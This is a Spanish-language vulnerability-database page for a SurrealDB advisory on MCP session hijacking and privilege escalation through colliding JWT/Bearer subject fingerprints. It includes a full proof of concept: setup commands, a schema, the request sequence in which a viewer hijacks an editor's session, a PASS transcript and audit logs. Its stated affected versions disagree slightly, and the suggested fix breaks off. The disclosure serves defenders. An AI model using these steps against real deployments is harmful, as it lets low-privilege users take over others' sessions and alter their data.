llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-PGH9-49Q4-HQCX

Secuestro de sesión MCP / escalamiento de privilegios mediante colisión de huella BoundSubject para métodos de acceso JWT/Bearer

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -25 d de la divulgación
Exposición32 dDesde la divulgación, 19 oct 2026, 3:51 a. m.
Detección32 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.3.0
Monitoreo
Detectada +1
24 sept 26
19 oct 26
20 nov 26
21 nov 26
24 sept 26
8 oct 26
23 oct 26
6 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.3.0 surrealdb · -25 d desde divulgación
Divulgación Publicada GHSA-PGH9-49Q4-HQCX divulgada · CVSS 8.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

> afectado: SurrealDB `>= 3.2.0` — transporte HTTP de MCP (`POST /mcp`)
> reproducido dinámicamente: binario oficial publicado `v3.2.0` y `master` `9d9a5b069` (v3.3.0-nightly), motor en memoria; 7/7 comprobaciones superadas en ambos

---

_Las referencias al código fuente (`file.rs:line`) apuntan al commit `9d9a5b069` (v3.3.0-nightly)._

Resumen

La nueva comprobación de sujeto por solicitud del transporte HTTP de MCP es ineficaz para los métodos `DEFINE ACCESS` de tipo JWT/Bearer: la huella `BoundSubject` es `(level, session.au.id())` y, en la autenticación por método de acceso, el id del actor se establece con el nombre del método de acceso (`verify.rs:403-407`), idéntico para todos los usuarios de ese método. En consecuencia, cualquier usuario autenticado de un método de acceso (incluso con el rol más bajo) que posea el `mcp-session-id` de una víctima supera la comprobación con su propio token válido y ejecuta herramientas MCP en la sesión vinculada de la víctima, con los roles y permisos de esta. Se trata de una toma de control de sesión entre usuarios y de un escalamiento de privilegios. Reproducido de extremo a extremo en un servidor activo: bob, con rol de visor, secuestró la sesión MCP de alice, con rol de editor, y escribió `pwned: true` en un registro que sus propios permisos prohíben.

Detalles

El módulo MCP de SurrealDB documenta su propio modelo de amenazas (auth.rs:11-14): *"la posesión de un `mcp-session-id` por sí sola no debe permitir que un atacante presente una credencial distinta y suplante al usuario original."* La defensa funciona de la siguiente manera (todo verificado en el código fuente):

  1. En `initialize`, `BoundSubject::from_session` registra una huella de la sesión autenticada (auth.rs:50-55):
  2. En cada solicitud posterior, `check_subject` rechaza un sujeto que falta, es anónimo o es distinto del vinculado (auth.rs:114-139); lo más importante:
  3. Para `DEFINE ACCESS ... TYPE JWT`/`BEARER`, `verify::token` construye el actor usando el nombre del método de acceso como id (verify.rs:403-407; a nivel de NS :639-642; a nivel de root :790):
  4. Por lo tanto, dos usuarios distintos del mismo método de acceso, aunque tengan `roles` diferentes, producen huellas byte a byte idénticas; la rama `new != *bound` nunca se activa y la solicitud se permite.
  5. Las herramientas MCP se ejecutan en la sesión vinculada durante el handshake (`handler(self.session())`, service.rs:485-489); las credenciales de la solicitud solo se usan para la comparación de la huella.
  6. La ruta es alcanzable a través del transporte HTTP real: `POST /mcp` está montado detrás de `SurrealAuthLayer` (ntw/mod.rs:185,501), que vuelve a autenticar cada solicitud desde su propia cabecera `Authorization` e inyecta la sesión nueva en las extensiones de la solicitud (ntw/auth.rs:85-95). La fábrica HTTP fuerza la etiqueta de transporte estricta `"http"` (service.rs:976-978), por lo que la comprobación de sujeto en red está activa (el transporte stdio está exento, lo cual es correcto).

El registro de auditoría hace visible la colisión: cada invocación de herramienta con ese método se registra con `subject="/ns:test/db:test/::api"`; la ranura de identidad es el nombre del método de acceso `api` para todos los usuarios.

PoC

> Los tokens involucrados son JWT legítimos firmados con el secreto HS512 exacto declarado en `DEFINE ACCESS`, verificados por la propia SurrealDB. El atacante aporta únicamente su propio token válido más el `mcp-session-id` de la víctima, justamente la condición que la defensa dice neutralizar.

Nota de alcance: reproducido en el binario oficial publicado `v3.2.0` y en una compilación desde el código fuente de `master` `9d9a5b069` (v3.3.0-nightly); las 7/7 comprobaciones superan en ambos. No se evaluó v2.x (MCP HTTP es una funcionalidad de v3.x).

Entorno / configuración:

cargo build --release --locked --no-default-features --features storage-mem,http,mcp --bin surreal
./target/release/surreal start --user root --pass root memory --bind 127.0.0.1:8000

Esquema (método de acceso JWT a nivel de base de datos que sirve a varios usuarios):

DEFINE NAMESPACE test;
DEFINE DATABASE test;
USE NS test DB test;
DEFINE ACCESS api ON DATABASE TYPE JWT ALGORITHM HS512 KEY '<secreto de 64+ bytes>' DURATION FOR SESSION 1h;
DEFINE TABLE person PERMISSIONS FOR select FULL, FOR update WHERE $token.roles CONTAINS 'editor';
CREATE person:alice SET secret = 'admin-secret-value';
CREATE person:bob SET secret = 'viewer-record';

Emitir dos tokens con el mismo secreto: misma forma, solo difieren los `roles`: `{"NS":"test","DB":"test","AC":"api","roles":["editor"]}` (alice) y `{"NS":"test","DB":"test","AC":"api","roles":["viewer"]}` (bob).

Pasos y resultados esperados:

# 0. Línea base de permisos (/sql directo, sin MCP): demuestra que los dos usuarios son realmente distintos:
#    alice  UPDATE person:alice SET pwned=true RETURN AFTER   -> devuelve el registro con pwned:true
#    bob    misma consulta                                   -> devuelve [] (filtrado por permisos)

# 1. alice inicializa una sesión MCP:
POST /mcp  Authorization: Bearer <alice>
  {"jsonrpc":"2.0","id":1,"method":"initialize",...}
  -> 200, cabecera mcp-session-id: <SID>

# 2. ATAQUE: bob usa su PROPIO token válido con el id de sesión de alice:
POST /mcp  Authorization: Bearer <bob>   MCP-Session-Id: <SID>
  tools/call query "UPDATE person:alice SET pwned = true RETURN AFTER"
  -> ÉXITO: [{"id":"person:alice","pwned":true,...}]     # el exploit funciona

# 3. Control 6a: bob en su PROPIA sesión recién inicializada, misma consulta:
  -> []                                                    # sigue denegado -> bob no tiene ese derecho

# 4. Control 6b: sin credenciales + id de sesión de alice:
  -> {"error":{"code":-32602,"message":"Credentials required for this MCP session"}}
                                                           # las otras ramas de check_subject funcionan

Transcripción en vivo (2026-08-15, `poc_mcp_session_hijack.sh`, 7/7 comprobaciones superadas):

===== 3. Permission baseline =====
  [PASS] alice(editor) can UPDATE (pwned=true)
  [PASS] bob(viewer) denied by table permission (empty result)
===== 4. alice initializes an MCP session =====
  [PASS] alice got mcp-session-id=3ab632c3-b8c3-48b9-ba20-2f5fc934c3ac
===== 5. ATTACK: bob (own valid token) + alice's session id =====
  [PASS] bob ESCALATED: UPDATE executed on alice's session (pwned=true)
===== 6. Control 6a: bob on his OWN session, same query =====
  [PASS] bob on his own session denied by table permission
===== 7. Control 6b: no credentials + alice's session id =====
  [PASS] no-credential request rejected by check_subject (-32602)
===== 8. Persistence check (root view) =====
  [PASS] person:alice.pwned == true persisted

Registro de auditoría del servidor durante el ataque:

INFO surrealdb::mcp::audit: mcp tool invocation tool="query" subject="/ns:test/db:test/::api" ... outcome="ok"
INFO surrealdb::mcp::audit: mcp tool invocation tool="query" subject="/ns:test/db:test/::api" ... outcome="protocol_error" kind="INVALID_PARAMS"

La ranura de identidad `::api` es idéntica para alice y bob: la colisión de huellas que anula la comprobación.

Nota: el permiso de tabla está escrito con `$token.roles` en lugar de `$auth.roles` porque, con autenticación por método de acceso, `$auth` (= `session.rd`) siempre es NONE; `$token` contiene los claims del JWT. (El `KEY` HS512 debe ser idéntico byte a byte entre `DEFINE ACCESS` y el script de firma.)

Impacto
  • Tipo: omisión del límite de autenticación/autorización → toma de control de sesión MCP entre usuarios y escalamiento de privilegios (CWE-287, autenticación inadecuada; CWE-269, escalamiento de privilegios).
  • Quién se ve afectado: cualquier despliegue que exponga MCP por HTTP (`POST /mcp`) y use un método de acceso `TYPE JWT`/`BEARER` a nivel de base de datos, de namespace o de root que sirva a más de un usuario. Los usuarios autenticados mediante la ruta de usuario/contraseña no se ven afectados (su id de actor es un nombre por usuario).
  • Requisitos del atacante (todos dentro del modelo de amenazas documentado): (1) un token válido para el mismo método de acceso, incluso con el rol más bajo; (2) el `mcp-session-id` de la víctima (la misma filtración que esta defensa pretende neutralizar, por ejemplo mediante registros HTTP, proxies o observabilidad compartida).
  • Efecto: el atacante ejecuta herramientas MCP en la sesión vinculada de la víctima con los roles y permisos de esta, leyendo o modificando datos a los que la víctima puede acceder; y la actividad se atribuye en las auditorías a la identidad de sesión de la víctima.

Solución sugerida: en la ruta JWT/Bearer de `verify::token`, construir el id del actor a partir de la identidad por usuario del token (claim `id`/`sub`), para que coincida con th

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb≥ 3.1.0 < 3.3.0
3.1.0
3.3.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 3.3.0 -25 d 4.0.1 no afectada
Versiones corregidas3.3.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-pgh9-49q4-hqcx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.